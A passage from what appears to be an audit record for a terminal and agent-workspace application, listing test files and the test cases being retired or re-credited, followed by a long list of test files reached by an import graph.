its distro may have stopped (E9); rejects a pid whose command line is not our holder for that distro; cleans up stale and corrupt records; keeps a holder and its record when release cannot verify it; reports unverifiable when the command line is unreadable even with a matching pid; release kills a verified holder and removes its record; release never kills a pid that is no longer our holder; reports a spawned holder exit so liveness can re-check. src/main/wsl/filesystem/wsl-guest-drive-mountinfo.test.ts: skips 9p shares that are not drvfs, and malformed lines. src/main/wsl/orcad/wsl-orcad-deploy-app-update.test.ts: plans the update on the census the running orcad reports, not an unknown one; forwards force to the update planner; does not serve the incumbent past a refusal that is not a wait; does not re-activate the build this host rolled back from; labels the launch with the build the adoption found serving, not the stale record; defers while another run holds the host fence; lets an explicit force deploy past both skips; names a newer host refusal apart from a rolled-back one, so only Force is offered; updates an older host as before, without asking to adopt it; never asks the incumbent when it already runs this build. src/renderer/src/components/agent/agent-launch-picker-acquisition.test.ts: keeps a completed listing usable when the host rejects the wait parameter. src/renderer/src/components/feature-tips/feature-tip-telemetry.test.ts: delivers to chat-default users in all targeting while holding out not-switched users. src/renderer/src/components/native-chat/composer/pickers/use-native-chat-side-chat-command.test.ts: completes the row on a pick, even when the command is already typed; ignores a pick of the row while side chats are unavailable. src/renderer/src/components/native-chat/media/images/native-chat-image-copy.test.ts: explains a too-large refusal that arrives through the IPC error prefix. src/renderer/src/components/native-chat/messages/actions/native-chat-fork-launch.test.ts: keeps the question with the caller and says once that it never went; tells the user to check the side chat when delivery is unconfirmed; reports a delivered question as sent, silently. src/renderer/src/components/native-chat/messages/actions/native-chat-side-chat-fork-point.test.ts: decides each of %i tool-only turns once per layout, and nothing without a listener. src/renderer/src/components/native-chat/messages/actions/use-native-chat-fork.test.tsx: places a side chat whose question was %s: %o. src/renderer/src/components/terminal-pane/provider-notices/agent-presence/agent-terminal-presence.test.ts: calls back once for %s; stops watching once unsubscribed. src/renderer/src/components/terminal-pane/pty-connection/emulation/pty-connection-mode2031-raw-subscription.spec.ts: records a mode 2031 subscribe from the raw chunk boundary without answering. src/renderer/src/components/terminal-pane/pty-connection/input/pty-connection-deferred-input-forwarding.spec.ts: routes terminal input through deferPtyInput so the host can withhold it; forwards terminal input directly when the host supplies no deferPtyInput. src/renderer/src/components/terminal-pane/pty-connection/notifications/pty-connection-terminal-bell-attention.spec.ts: forwards onBell to pane attention and notification policy; hands the bell to the attention module with its pane even when pane attention is off. src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-dropped-output-snapshot-healing.spec.ts: repaints from the main-owned snapshot when main drops pending output at the cap. src/renderer/src/components/terminal-pane/pty-connection/output/pty-connection-fresh-native-follow-reset.spec.ts: retries a fresh-spawn native follow reset when renderer dimensions return. src/renderer/src/components/terminal-pane/pty-connection/spawn/unbound-pane-spawn-recovery.test.ts: requests a tab remount for an unbound spawn; leaves recovery to a remote transport that armed its own retry; requests a remount when the transport reports no recovery of its own; settles the spawn as failed before requesting a remount; prefers the restored leaf id when reporting the anomaly; falls back to the pane leaf id when no restored leaf exists. src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-foreground-agent.test.ts: remove only literal registration import/call pairs import { registerPtyConnectionDeferredInputForwardingTests } from '../input/pty-connection-deferred-input-forwarding.spec', registerPtyConnectionDeferredInputForwardingTests(); no additional authored credit. src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts: structural support changed only; no new authored removal credit. src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-input-and-repaint.test.ts: remove only literal registration import/call pairs import { registerPtyConnectionFreshNativeFollowResetTests } from '../output/pty-connection-fresh-native-follow-reset.spec', registerPtyConnectionFreshNativeFollowResetTests(); no additional authored credit. src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-spawn-and-startup.test.ts: remove only literal registration import/call pairs import { registerPtyConnectionTerminalBellAttentionTests } from '../notifications/pty-connection-terminal-bell-attention.spec', registerPtyConnectionTerminalBellAttentionTests(); no additional authored credit. src/renderer/src/components/terminal-pane/pty-transport/delivery/pty-dispatcher-delivery-interest.test.ts: registers interest on the first sidecar and releases on the last unsubscribe; releases sidecar interest only once for repeated unsubscribes; does not let an eager pre-mount buffer defeat hidden delivery gating; keeps eager buffers outside delivery interest when the PTY exits before mount; lets a sidecar exclusively own interest while an eager buffer overlaps. src/renderer/src/components/terminal-pane/pty-transport/delivery/pty-dispatcher-push-reattach.test.ts: blackholed delivery reproduces the wedge: no handler dispatch, no ACK ever. src/renderer/src/components/terminal-pane/pty-transport/ipc/ipc-pty-opencode-model.test.ts: sends preferences to the execution host and attaches only to its returned PTY; preserves one operation ID across a lost reply and reconnect; preserves ordinary raw startup and captured-session attachment. src/renderer/src/components/terminal-pane/pty-transport/output/pty-side-effect-pending-census.test.ts: sums registered gauges and drops disposed ones; ignores a repeated dispose instead of dropping another gauge; stops tracking new gauges past the cap so a missed dispose cannot grow it; tracks a live output processor queue through enqueue, drain, and dispose; excludes cleared consumed entries from retention after a bounded drain. src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-prebind-discard-notice.test.ts: says nothing once the pane is closed. src/renderer/src/components/terminal-pane/render-health/terminal-webgl-atlas-recovery.test.ts: refreshes after each scheduled atlas reset; falls back to a timeout when animation frames are unavailable; continues recovery when a manager throws after scheduling. src/renderer/src/components/terminal-pane/snapshots/pty-buffer-serializer.test.ts: tracks a remounted quiet title source even when the stale owner unregisters later; preserves the renderer-parsed output sequence in the response; preserves a pending escape tail for snapshot replay; routes a host's Reset Terminal request to the pane that owns the PTY. src/renderer/src/components/terminal-pane/snapshots/saved-terminal-output-replay.test.ts: marks panes with restored scrollback for fresh-shell viewport blanking. src/renderer/src/components/terminal-pane/viewport/split-right-white-screen.test.ts: recovers a 0x0 spawn whose container is briefly unmeasurable then settles. src/renderer/src/components/terminal-pane/viewport/visibility/stale-document-visibility.test.ts: removes global listeners when the last pane unregisters. src/renderer/src/components/ui/security-surface-theme-contrast.test.tsx: keeps trust text readable on a host-owned dialog surface; applies the hostile surface to ordinary dialogs, so the case above is exercised. src/renderer/src/components/use-terminal-parking-pass.test.tsx: does not queue a render when a pass produces the same parking sets; keeps parking transitions working under StrictMode. src/renderer/src/hooks/client-workspace-view-report.test.ts: reports an away user’s screen with no presence, and renews as soon as input returns; retries a failed send, empty or not, no sooner than a refresh. src/renderer/src/hooks/ipc-events/terminal-request-ipc-bridge-placement.test.ts: is new work in a workspace with no live terminal: its first bind moves it up in Recent. src/renderer/src/hooks/use-bundled-skill-install.test.tsx: ignores a repeated click while the install runs; retries the last requested skills on this host. src/renderer/src/hooks/useGitHubSlugMetadata.assignee-reuse.test.tsx: adds seeds to a successful empty list but not to loading or failed results; retains seed projection after expiry and fetches fresh metadata for a new reader. src/renderer/src/hooks/useSettingsNavigationMetadata.language-switch.test.tsx: retranslates the settings nav labels when the UI language changes live. src/renderer/src/lib/codex-stale-pane-account-identity.test.ts: keeps the prompt when the roster read fails and every label collapses. src/renderer/src/lib/image-blob-png.test.ts: downscales a pasted image above the pixel cap; releases its temporary URL on a decode error; releases its temporary URL when PNG encoding fails or exceeds the byte cap. src/renderer/src/lib/react-commit-cascade-store-write-samples.test.ts: names callers above the frame the write came from; restores Error.stackTraceLimit when the capture throws; stops collecting after the sample cap when captureStackTrace is unavailable; caps reported changed keys from a single wide write. src/renderer/src/lib/work-items/linear/linear-issue-context-snapshot.test.ts: applies the rendered text hard cap last and reserves the final overflow marker. src/renderer/src/runtime/rpc/targets/use-worktree-runtime-target.test.ts: keeps the runtime target identity stable across unrelated store writes. src/renderer/src/runtime/source-control/git/runtime-git-branch-client.test.ts: keeps creation available on old hosts and explains the missing operation; preserves landed warnings and direct collision recovery data; propagates remote discovery failure instead of a false empty page. src/renderer/src/runtime/sync-runtime-graph/sync-runtime-graph-key-reuse.test.ts: reuses unchanged worktree tab projections when one worktree title changes; bumps only the changed worktree version when a sibling stays byte-identical. src/renderer/src/store/repos/repos-catalog-request-coordination.test.ts: shares safe-auto fork sync cooldown attempts across store instances. src/renderer/src/store/slices/tabs/hydrated-workspace-reconciliation-batch.test.ts: collapses a 193-workspace hydration to one store write; leaves the store byte-identical to the per-workspace path; re-reconciling the batched result is a no-op, as it is for the per-workspace path. src/renderer/src/store/slices/tabs/hydrated-workspace-reconciliation-fixture.ts: dedicated zero-case helper retirement; no authored test credit. src/renderer/src/store/slices/worktrees/metadata/update-worktrees-meta.test.ts: persists each batch metadata update to its workspace owner. src/renderer/src/store/slices/worktrees/metadata/worktree-meta-rename.test.ts: dismisses a rename error on its capable remote owner; clears pending first-agent rename when the title is updated. src/renderer/src/store/terminals/store-sleep-shutdown-order.test.ts: orders capture, guards, handlers, main's stop, commit, cleanup, and exit settlement. src/renderer/src/store/terminals/terminal-first-tab-publication.test.ts: publishes the first terminal and root tab group atomically; publishes the first terminal and root tab group atomically, then marks it starting in main. src/renderer/src/store/terminals/workspace-terminal-reconnect-hydration.test.ts: restores daemon terminal wake hints before declaring the session ready. src/renderer/src/web/web-runtime-connection-auth-framing.test.ts: keeps legacy framing for sockets that cannot absorb a refused attempt. src/shared/terminal/appearance/terminal-font-weight-windows-regular.test.ts: moves the old Windows default to Regular once and queues the notice; keeps custom weights and fresh profiles without a notice; leaves macOS and Linux profiles untouched. tests/e2e/claude-agent-row-view.unit.test.ts: updates a mounted compact workflow description through the subscribed production parent; bounds upstream active-SSH visits for $population records, fallback=$fallback; derives %s destinations without requiring type or a workflow child ID; terminates a $path parent $status with no third request or intermediate toast; does not recover a first child %s. tests/e2e/cross-version-wire/agent-permission-legacy-spawn.unit.test.ts: keeps exact legacy ordering when structured creation cannot express afterTabId; can create a terminal without selecting the target worktree; preserves the legacy fresh-agent path when host authority is unavailable. tests/e2e/paired-instant-browser-tab.spec.ts: shows a paired browser tab before its create RPC resolves, then keeps it as one tab; adopts a paired browser tab without rebuilding its chrome. tests/e2e/session-tabs-decorative-title-fanout.unit.test.ts: bounds host publication and renderer application across remote worktrees; globally caps decorative freshness while every working status stays fresh. tests/e2e/session-tabs/mobile-session-active-performance.unit.test.ts: bounds saved-order publication selection at N and 10N without rematerializing navigation; bounds admitted placement reconciliation during supported reads at N and 10N; bounds selection input visits at 50 and 500 rows, including unavailable-target projection; keeps publication scoped to a changed worktree and shared by listeners at N and 10N; bounds preserved-chat merge and runtime-owned hydration at N and 10N (legacy=%s); bounds actual native retirement and shared delivery work at N and 10N. tests/e2e/session-tabs/mobile-session-active-publication.unit.test.ts: does not substitute a preserved row for an unavailable explicit legacy selection; resolves main-layout group selection %s (omitted group=%s). tests/e2e/structured-agent-session-launch-admission.unit.test.ts: opens a direct caller's terminal with the caller's own CLI arguments on a decline; opens the chat on the server that admitted it; opens only the terminal when this machine declines, without a notice; opens a new agent tab's terminal with the typed prompt when the caller names none; opens the chat, not a terminal, when this machine cannot resolve a new workspace yet; keeps its terminal fallback, as before. tests/e2e/structured-attention-prompt-relay.unit.test.ts: settles once per relayed prompt, not on every later status update. tests/e2e/structured-attention-read-retirement.unit.test.ts: Mark read on a chat never opened withdraws the prompt alert it surfaced; Mark read on a chat hidden since an earlier view covers the newer prompt it surfaced; reads a newly accepted visible prompt without sending an RPC for text-only updates. tests/e2e/structured-chat-tab-lifetime-cost.unit.test.ts: counts real raw stores, unrelated window publications and captured cleanup at %i chats; counts complete supplied-member sweep and separate final retirement at S=%i N=%i. tests/e2e/structured-session-workspace-authority.unit.test.ts: bounds actual target reveal across %i repo roots and metadata aliases. tests/e2e/terminal-agent-pane-launch.unit.test.ts: starts the host's planned command once, at the pane's size, and says it started; plans a pane whose prompt the window submits without the startup update prompt; preserves caller shell-ready delivery only for a connection-scoped adapter ($connectionId); starts no shell on plan failure (original failure: $returnLaunchFailure); cannot confirm a start whose provider answer was lost. tests/e2e/terminal-parked-memory.spec.ts: releases renderer terminal memory when hidden tabs park. tests/e2e/terminal-shortcuts.spec.ts: @headful Codex-like background output stays visible without disabling WebGL in auto mode; Shift with Russian layout text reaches the PTY as Cyrillic under kitty keyboard reporting. tests/e2e/terminal-split-activation-latency.spec.ts: records attributed CWD, spawn, bind, fixture-ready, input, and echo phases. tests/e2e/terminal-split-activation-latency-phases.ts: dedicated zero-case helper retirement; no authored test credit. tests/e2e/terminal-split-activation-latency-main-probe.ts: dedicated zero-case helper retirement; no authored test credit. tests/e2e/terminal-split-activation-latency-artifact.ts: dedicated zero-case helper retirement; no authored test credit. tests/e2e/terminal-split-activation-latency-report.ts: dedicated zero-case helper retirement; no authored test credit. tests/e2e/terminal-tab-switch-visual-restore.spec.ts: restores skipped hidden Grok output on light tab resume. tests/e2e/web-runtime-session-terminal-host-authority.unit.test.ts: delivers independent %s effort through the real prepared web callback; keeps same-ID local and runtime worktrees on the selected runtime owner; creates paired web agents through host authority so activation is mirrored; delivers generated continuation context after host-authoritative creation; seeds the chat composer for a draft that rode in on the launch command. Current changed source bytes, wrapper registrations and reduced selectors have no fresh execution or red/green credit. Unrelated surviving receipt objects keep their original narrow scope; current literal graph reachability does not establish historical import closure or equivalent replacement coverage. Current conservative command/import graph reaches src/main/persistence/worktree-sort-order-write.test.ts, src/main/runtime/construction/orca-runtime.test.ts, src/main/runtime/orca-runtime-tests/targeting-and-resilience.spec.ts, src/main/runtime/orca-runtime-tests/worktree-removal-and-reconciliation-part-04.spec.ts, src/main/runtime/orca-runtime-tests/worktree-removal-and-reconciliation-part-03.spec.ts, src/main/runtime/orca-runtime-tests/worktree-removal-and-reconciliation-part-02.spec.ts, src/main/runtime/orca-runtime-tests/gitlab-and-pr-bases-part-02.spec.ts, src/main/runtime/orca-runtime-tests/gitlab-and-pr-bases.spec.ts, src/main/runtime/orca-runtime-tests/worktree-setup-and-startup-part-03.spec.ts, src/main/runtime/orca-runtime-tests/worktree-setup-and-startup.spec.ts, src/main/runtime/orca-runtime-tests/terminal-sleep-and-teardown-part-02.spec.ts, src/main/runtime/orca-runtime-tests/mobile-summaries-part-03.spec.ts, src/main/runtime/orca-runtime-tests/mobile-summaries-part-02.spec.ts, src/main/runtime/orca-runtime-tests/mobile-summaries.spec.ts, src/main/runtime/orca-runtime-tests/mobile-creation-and-orchestration-part-03.spec.ts, src/main/runtime/orca-runtime-tests/mobile-creation-and-orchestration-part-02.spec.ts, src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-13.spec.ts, src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-12.spec.ts, src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-11.spec.ts, src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-10.spec.ts, src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-08.spec.ts, src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-07.spec.ts, src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-05.spec.ts, src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-04.spec.ts, src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-02.spec.ts, src/main/runtime/orca-runtime-tests/mobile-session-tabs.spec.ts, src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-05.spec.ts, src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-04.spec.ts, src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-03.spec.ts, src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-02.spec.ts, src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status.spec.ts, src/main/runtime/orca-runtime-tests/terminal-output-and-worker-recovery-part-07.spec.ts, src/main/runtime/orca-runtime-tests/terminal-output-and-worker-recovery-part-04.spec.ts, src/main/runtime/orca-runtime-tests/terminal-output-and-worker-recovery-part-03.spec.ts, src/main/runtime/orca-runtime-tests/terminal-output-and-worker-recovery-part-02.spec.ts, src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-12.spec.ts, src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-11.spec.ts, src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-10.spec.ts, src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-09.spec.ts, src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-08.spec.ts, src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-07.spec.ts, src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-06.spec.ts, src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-03.spec.ts, src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness.spec.ts, src/main/runtime/orca-runtime-tests/headless-snapshots.spec.ts, src/main/runtime/orca-runtime-tests/terminal-side-effect-facts-part-02.spec.ts, src/main/runtime/orca-runtime-tests/local-worktree-creation-part-02.spec.ts, src/main/runtime/orca-runtime-tests/local-worktree-creation.spec.ts, src/main/runtime/integrations/skill/orca-runtime-skill-recovery.test.ts, src/main/runtime/orchestration/mailbox/routing/orchestration-mailbox-detached-routing.spec.ts, src/main/runtime/orchestration/mailbox/terminal-pointer/orchestration-mailbox-delivery.test.ts, src/main/runtime/orchestration/mailbox/terminal-pointer/orchestration-mailbox-pointer-cli-command.spec.ts, src/main/runtime/rpc/methods/terminal/terminal-multiplex-link-estimate.test.ts, src/main/runtime/rpc/methods/terminal/terminal-snapshot-scrollback-rows.test.ts, src/main/runtime/rpc/server/pairing/network/windows-default-route-interfaces.test.ts, src/main/runtime/rpc/server/pairing/pairing-offer-owner-cli.test.ts, src/main/runtime/rpc/terminal-multiplex-end-verdict.test.ts, src/main/runtime/session-graph/headless-runtime-graph.spec.ts, src/main/runtime/session-graph/runtime-graph-standing-contracts.test.ts, src/main/runtime/session-tabs/structured-conversation-tab-title.test.ts, src/main/runtime/session-tabs/terminal-close-observed-exit.test.ts, src/main/runtime/terminal/identity/terminal-identity-probe.test.ts, src/main/runtime/terminal/layout/paired-desktop-server-writes-layout-owner.test.ts, src/main/runtime/terminal/lifecycle/pty-lifecycle-generation-retention.test.ts, src/main/runtime/terminal/lifecycle/run-terminal-user-open.test.ts, src/main/runtime/terminal/surface/terminal-surface-replies-window.test.ts, src/main/runtime/terminal/surface/workspace-layout-projection.test.ts, src/main/runtime/terminal/view/terminal-subscribe-exit-waiter-leak.test.ts, src/main/runtime/terminal/wait/orca-runtime-exact-worker-provider-session.test.ts, src/main/runtime/terminal/wait/prime-agent-screen-readiness-transcripts.test.ts, src/main/runtime/workspaces/startup/runtime-worktree-agent-startup.test.ts, src/main/runtime/workspaces/startup/runtime-worktree-startup-readiness.test.ts, src/main/skills/skill-install-transaction.test.ts, src/main/speech/model-manager-download-resume.test.ts, src/main/ssh/config/ssh-config-parser.test.ts, src/main/ssh/config/ssh-known-hosts-source.test.ts, src/main/ssh/config/ssh-known-hosts.test.ts, src/main/ssh/connection/ssh-connect-config.test.ts, src/main/ssh/connection/ssh-connection-auth-fallback.test.ts, src/main/ssh/connection/ssh-connection-store.test.ts, src/main/ssh/connection/ssh-connection.test.ts, src/main/ssh/orcad-migration-stuck-host-profiles.test.ts, src/main/ssh/orcad-runtime-maintenance.test.ts, src/main/ssh/port-forwarding/ssh-port-forward.test.ts, src/main/ssh/ssh-channel-multiplexer.test.ts, src/main/ssh/system-transport/system-ssh-forward-process.test.ts, src/main/ssh/system-transport/system-ssh-loopback-route.test.ts, src/main/startup/browser-process-user-agent-ordering.test.ts, src/main/startup/quit/quit-path-durable-write-blocking.test.ts, src/main/stats/agent-session-transition-recorder.test.ts, src/main/text-generation/commit-message-text-generation-model-discovery.test.ts, src/main/text-generation/pull-request-context.test.ts, src/main/text-generation/source-control-local-process.test.ts, src/main/updater/linux-package/linux-package-update-recovery.test.ts, src/main/updater/releases/updater-prerelease-feed-readiness.test.ts, src/main/updater/releases/updater-release-builds.test.ts, src/main/updater/updater.build-channel-selection.test.ts, src/main/updater/updater.check-preflight.test.ts, src/main/updater/updater.prerelease-fallback.test.ts, src/main/updater/updater.publishing-window-feed.test.ts, src/main/updater/updater.quit-and-install.test.ts, src/main/window/createMainWindow-markdown-editor-focus.test.ts, src/main/window/createMainWindow-renderer-crash-recovery.test.ts, src/main/window/dashboard-popout-window.test.ts, src/main/window/dropped-path-preparation.test.ts, src/main/window/main-window-updater-deferred-setup.test.ts, src/main/worker-threads/worker-thread-request-queue.test.ts, src/main/workspace-hooks/hooks-setup-runner-script.test.ts, src/main/workspaces/catalog/repo-git-remote-identity-enrichment.test.ts, src/main/workspaces/creation/preparation/worktree-create-preparation.test.ts, src/main/workspaces/removal/local-worktree-removal-recovery.test.ts, src/main/workspaces/removal/worktree-removal-safety.test.ts, src/main/wsl/discovery/distro-catalog.test.ts, src/main/wsl/discovery/wsl-distro-holder.test.ts, src/main/wsl/filesystem/wsl-guest-drive-mountinfo.test.ts, src/main/wsl/orcad/wsl-orcad-deploy-app-update.test.ts, src/renderer/src/components/agent/agent-launch-picker-acquisition.test.ts, src/renderer/src/components/feature-tips/feature-tip-telemetry.test.ts, src/renderer/src/components/native-chat/composer/pickers/use-native-chat-side-chat-command.test.ts, src/renderer/src/components/native-chat/media/images/native-chat-image-copy.test.ts, src/renderer/src/components/native-chat/messages/actions/native-chat-fork-launch.test.ts, src/renderer/src/components/native-chat/messages/actions/native-chat-side-chat-fork-point.test.ts, src/renderer/src/components/native-chat/messages/actions/use-native-chat-fork.test.tsx, src/renderer/src/components/terminal-pane/provider-notices/agent-presence/agent-terminal-presence.test.ts, src/renderer/src/components/terminal-pane/pty-connection/emulation/pty-connection-mode2031-raw-subscription.spec.ts, src/renderer/src/components/terminal-pane/pty-connection/input/pty-connection-deferred-input-forwarding.spec.ts, src/renderer/src/components/terminal-pane/pty-connection/notifications/pty-connection-terminal-bell-attention.spec.ts, src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-dropped-output-snapshot-healing.spec.ts, src/renderer/src/components/terminal-pane/pty-connection/output/pty-connection-fresh-native-follow-reset.spec.ts, src/renderer/src/components/terminal-pane/pty-connection/spawn/unbound-pane-spawn-recovery.test.ts, src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-foreground-agent.test.ts, src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts, src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-input-and-repaint.test.ts, src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-spawn-and-startup.test.ts, src/renderer/src/components/terminal-pane/pty-transport/delivery/pty-dispatcher-delivery-interest.test.ts, src/renderer/src/components/terminal-pane/pty-transport/delivery/pty-dispatcher-push-reattach.test.ts, src/renderer/src/components/terminal-pane/pty-transport/ipc/ipc-pty-opencode-model.test.ts, src/renderer/src/components/terminal-pane/pty-transport/output/pty-side-effect-pending-census.test.ts, src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-prebind-discard-notice.test.ts, src/renderer/src/components/terminal-pane/render-health/terminal-webgl-atlas-recovery.test.ts, src/renderer/src/components/terminal-pane/snapshots/pty-buffer-serializer.test.ts, src/renderer/src/components/terminal-pane/snapshots/saved-terminal-output-replay.test.ts, src/renderer/src/components/terminal-pane/viewport/split-right-white-screen.test.ts, src/renderer/src/components/terminal-pane/viewport/visibility/stale-document-visibility.test.ts, src/renderer/src/components/ui/security-surface-theme-contrast.test.tsx, src/renderer/src/components/use-terminal-parking-pass.test.tsx, src/renderer/src/hooks/client-workspace-view-report.test.ts, src/renderer/src/hooks/ipc-events/terminal-request-ipc-bridge-placement.test.ts, src/renderer/src/hooks/use-bundled-skill-install.test.tsx, src/renderer/src/hooks/useGitHubSlugMetadata.assignee-reuse.test.tsx, src/renderer/src/hooks/useSettingsNavigationMetadata.language-switch.test.tsx, src/renderer/src/lib/codex-stale-pane-account-identity.test.ts, src/renderer/src/lib/image-blob-png.test.ts, src/renderer/src/lib/react-commit-cascade-store-write-samples.test.ts, src/renderer/src/lib/work-items/linear/linear-issue-context-snapshot.test.ts, src/renderer/src/runtime/rpc/targets/use-worktree-runtime-target.test.ts, src/renderer/src/runtime/source-control/git/runtime-git-branch-client.test.ts, src/renderer/src/runtime/sync-runtime-graph/sync-runtime-graph-key-reuse.test.ts, src/renderer/src/store/repos/repos-catalog-request-coordination.test.ts, src/renderer/src/store/slices/tabs/hydrated-workspace-reconciliation-batch.test.ts, src/renderer/src/store/slices/tabs/hydrated-workspace-reconciliation-fixture.ts, src/renderer/src/store/slices/worktrees/metadata/update-worktrees-meta.test.ts, src/renderer/src/store/slices/worktrees/metadata/worktree-meta-rename.test.ts, src/renderer/src/store/terminals/store-sleep-shutdown-order.test.ts, src/renderer/src/store/terminals/terminal-first-tab-publication.test.ts, src/renderer/src/store/terminals/workspace-terminal-reconnect-hydration.test.ts, src/renderer/src/web/web-runtime-connection-auth-framing.test.ts, src/shared/terminal/appearance/terminal-font-weight-windows-regular.test.ts, tests/e2e/claude-agent-row-view.unit.test.ts, tests/e2e/cross-version-wire/agent-permission-legacy-spawn.unit.test.ts, tests/e2e/paired-instant-browser-tab.spec.ts, tests/e2e/session-tabs-decorative-title-fanout.unit.test.ts, tests/e2e/session-tabs/mobile-session-active-performance.unit.test.ts, tests/e2e/session-tabs/mobile-session-active-publication.unit.test.ts, tests/e2e/structured-agent-session-launch-admission.unit.test.ts, tests/e2e/structured-attention-prompt-relay.unit.test.ts, tests/e2e/structured-attention-read-retirement.unit.test.ts, tests/e2e/structured-chat-tab-lifetime-cost.unit.test.ts, tests/e2e/structured-session-workspace-authority.unit.test.ts, tests/e2e/terminal-agent-pane-launch.unit.test.ts, tests/e2e/terminal-parked-memory.spec.ts, tests/e2e/terminal-shortcuts.spec.ts, tests/e2e/terminal-split-activation-latency.spec.ts, tests/e2e/terminal-split-activation-latency-phases.ts, tests/e2e/terminal-split-activation-latency-main-probe.ts, tests/e2e/terminal-split-activation-latency-artifact.ts, tests/e2e/terminal-split-activation-latency-report.ts, tests/e2e/terminal-tab-switch-visual-restore.spec.ts, tests/e2e/web-runtime-session-terminal-host-authority.unit.test.ts. Unresolved local/computed edges remain explicit debt.",
         "Audit2095 current-parent preparation2126 (approved2092/2093 removals; source refresh2109/independent2112): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-sleep-and-teardown-part-03.spec.ts: rejects exact terminal stop for multiple expected PTYs before stopping anything; omits stale renderer leaves when fresh PTY liveness is required; omits unbound renderer placeholders when fresh PTY liveness is required; captures the event method before the nested sleep receipt changes it; returns the close receipt without requiring a PTY stop; uses the same stop result as an empty explicit stop. src/main/runtime/orca-runtime-tests/mobile-creation-and-orchestration-part-04.spec.ts: builds a compact worktree summary from persisted and live runtime state; reads the linked-PR state from the renderer repoId-keyed GitHub cache; carries persisted worktree host ownership in mobile summaries; emits only instance- and boundary-validated lineage parents in mobile summaries; resolves WSL platforms only for repos represented in mobile summaries; omits worktrees hidden by the host visibility policy from mobile summaries; applies linked-checkout source visibility to mobile summaries. src/main/runtime/orca-runtime-tests/hooks-and-hosted-review-part-02.spec.ts: routes runtime GitHub PR details and actions through the selected WSL project runtime; passes SSH connection context through hosted review creation flows; routes local WSL project hosted review flows through runtime git options; treats SSH worktree drift as unknown without local git probes. src/main/runtime/orca-runtime-tests/terminal-listing.spec.ts: emits one mobile session terminal tab per live PTY even if two tabs resolve to it; resolves projected split authority from the parent layout PTY binding; keeps explicit-id terminal lists from resolving all worktrees; keeps explicit-id cold-cache terminal lists from classifying unrelated same-repo worktrees; keeps unknown bare terminal-list ids on the no-scan exact-id path; matches explicit-id cwd PTYs for folder workspace instance IDs; routes PTY output through the PTY leaf index in large terminal graphs. src/main/runtime/orca-runtime-tests/window-authority.spec.ts: claims the first window as authoritative and ignores later windows; transfers authority from the headless sentinel to the first real window; relays terminal browser launches only while headless owns the graph; marks live headless PTYs for renderer reattach before desktop promotion; reports the activation gate state while no desktop window is available; bumps the epoch and enters reloading when the authoritative window reloads; can mark the graph ready for the authoritative window; drops back to unavailable and clears authority when the window disappears; hands the graph back to headless when a promoted serve window closes (#27292); keeps a crashed promoted serve renderer on its own window while the window is open; stays unavailable during initial loads before a graph is published. src/main/runtime/orchestration/mailbox/routing/orchestration-mailbox-routing-races.spec.ts: stops paged routing when the check is cancelled; keeps an unfiltered redrive unrestricted when reservations merge; keeps an unfiltered parked delivery unrestricted when reservations merge; uses a bounded indexed pane lookup for reminted Dispatch identity. src/main/runtime/workspaces/removal/worktree-teardown-unstopped-pty.test.ts: removes the reported wedged automation workspace without --force; clears PTY state once a failed stop is proven to have exited; names only the PTYs that are actually live, not every failed stop; warns with the specific sweep failure, not the generic deadline; still fails closed on a sweep-level failure without force. src/main/skills/bundled-skill-install/layouts.test.ts: links into a project only where its agent folder already exists; reads a pending cloud transaction as busy and a cloud receipt as another skill. src/main/skills/skill-upload-session-service.test.ts: joins concurrent disposal callers through exact cleanup completion. src/main/source-control/hosted-review-creation.test.ts: creates the pull request after fresh main-process validation passes; routes local WSL git and GitHub review creation through the selected runtime; creates a pull request on a GitHub Enterprise Server remote (#8312); creates a GitLab merge request after fresh main-process validation passes; creates an Azure DevOps pull request after fresh main-process validation passes; creates a Gitea pull request after fresh main-process validation passes. src/main/source-control/hosted-review-execution-host-routing.test.ts: reads a GitHub review on the SSH host a row names only in executionHostId; reads a GitLab review on the executionHostId host when connectionId names a different one; does not dial this client for a runtime row whose nested target shares a local name; keeps a runtime row with no nested target on this process (self-addressed stamp); keeps a legacy connectionId-only SSH row on its target; does not share a cached answer between two rows at one path on different hosts; creates a Bitbucket review locally for a runtime row rather than dialing its nested target; reports creation eligibility from the executionHostId-only SSH host; resolves the GitHub slug for a repo listing on the row it is asked about; refuses to dial a runtime host from this process; answers with the SSH target for both spellings and local otherwise; reads a runtime stamp on a row in this store as self-addressing, not a second machine. src/main/source-control/hosted-review-inflight-invalidation.test.ts: keeps other hosts, paths and their pending promises 